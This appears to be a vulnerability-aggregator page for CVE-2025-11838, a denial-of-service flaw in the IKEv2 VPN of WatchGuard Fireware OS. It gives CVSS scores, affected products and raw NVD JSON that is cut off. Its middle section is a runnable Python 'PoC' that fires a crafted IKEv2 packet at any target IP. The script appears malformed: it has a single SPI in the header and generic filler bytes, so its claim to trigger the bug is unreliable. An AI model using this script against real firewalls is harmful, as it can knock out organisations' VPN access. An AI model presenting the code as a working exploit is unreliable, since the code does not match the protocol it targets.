Security Vulnerability Report
中文
CVE-2025-11838 CVSS 7.5 HIGH

CVE-2025-11838

Published: 2025-12-04 22:15:47
Last Modified: 2025-12-16 00:16:01
Source: 5d1c2695-1a31-4499-88ae-e847036fd7e3

Description

A memory corruption vulnerability in WatchGuard Fireware OS may allow an unauthenticated attacker to trigger a Denial of Service (DoS) condition in the Mobile User VPN with IKEv2 and the Branch Office VPN using IKEv2 when configured with a dynamic gateway peer. This vulnerability affects Fireware OS 12.6.1 up to and including 12.11.4 and 2025.1 up to and including 2025.1.2.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:watchguard:firebox_m440:-:*:*:*:*:*:*:* - NOT VULNERABLE
WatchGuard Fireware OS 12.6.1 至 12.11.4
WatchGuard Fireware OS 2025.1 至 2025.1.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-11838 PoC - WatchGuard Fireware OS IKEv2 Memory Corruption Note: This is a proof-of-concept for educational and security testing purposes only. """ import socket import struct import random def craft_ikev2_packet(): """ Craft a malicious IKEv2 packet to trigger memory corruption in WatchGuard Fireware OS IKEv2 implementation """ # IKEv2 Header # SPI (8 bytes) + Next Payload (1 byte) + Version (1 byte) + # Exchange Type (1 byte) + Flags (1 byte) + Message ID (4 bytes) + # Length (4 bytes) initiator_spi = bytes([random.randint(0, 255) for _ in range(8)]) next_payload = 0x21 # Security Association version = 0x20 # IKEv2 version 2.0 exchange_type = 0x02 # IKE_SA_INIT flags = 0x08 # Initiator flag message_id = bytes([0x00, 0x00, 0x00, 0x00]) # Malformed payload to trigger memory corruption malformed_payload = b'\x00' * 1000 + b'\x41' * 500 header = initiator_spi + bytes([next_payload, version, exchange_type, flags]) + message_id # Calculate length length = len(header) + len(malformed_payload) + 4 length_bytes = struct.pack('>I', length) return header + length_bytes + malformed_payload def send_exploit(target_ip, target_port=500): """ Send the malicious IKEv2 packet to target """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) packet = craft_ikev2_packet() try: print(f"[*] Sending malicious IKEv2 packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) print(f"[+] Packet sent successfully") print(f"[*] Packet size: {len(packet)} bytes") except Exception as e: print(f"[-] Error sending packet: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python3 cve_2025_11838_poc.py <target_ip>") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 500 send_exploit(target, port)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11838", "sourceIdentifier": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "published": "2025-12-04T22:15:46.610", "lastModified": "2025-12-16T00:16:01.427", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A memory corruption vulnerability in WatchGuard Fireware OS may allow an unauthenticated attacker to trigger a Denial of Service (DoS) condition in the Mobile User VPN with IKEv2 and the Branch Office VPN using IKEv2 when configured with a dynamic gateway peer.\n\nThis vulnerability affects Fireware OS 12.6.1 up to and including 12.11.4 and 2025.1 up to and including 2025.1.2."}], "metrics": {"cvssMetricV40": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "5d1c2695-1a31-4499-88ae-e847036fd7e3", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-763"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "2025.1", "versionEndExcluding": "2025.1.3", "matchCriteriaId": "46DAB795-8DD0-4D6C-99D5-B9057E76DB87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t115-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "E8AAE66B-DD19-4C90-8DFC-F77BA1541642"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125:-:*:*:*:*:*:*:*", "matchCriteriaId": "7FC18430-C6B4-4395-BFF1-83BB005875BA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t125-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "1A7C1C91-8B6E-4FB0-841E-7F88B06B1435"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145:-:*:*:*:*:*:*:*", "matchCriteriaId": "8FE309D6-BD5E-4D18-91C3-A492C3576115"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t145-w:-:*:*:*:*:*:*:*", "matchCriteriaId": "75959D39-0960-4836-96C7-DB8048DDE4B8"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_t185:-:*:*:*:*:*:*:*", "matchCriteriaId": "D0087049-27C6-4B18-A645-72A8F63D7C6D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:watchguard:fireware:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.11.5", "matchCriteriaId": "8A7E5749-EB5F-41C5-8CD9-1C4A0FF6E738"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m270:-:*:*:*:*:*:*:*", "matchCriteriaId": "E472917E-D6E1-4C2D-B37D-E76FCC7307CA"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m290:-:*:*:*:*:*:*:*", "matchCriteriaId": "9A8C7779-4466-4A9E-B191-929E7746DFF7"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m370:-:*:*:*:*:*:*:*", "matchCriteriaId": "6CE9A123-B769-4E56-845E-DC3DA6166C78"}, {"vulnerable": false, "criteria": "cpe:2.3:h:watchguard:firebox_m390:-:*:*:*:*:*:*:*", "matchCriteriaId": "180FAE8C-2E73-4C09-AA11-0 ... (truncated)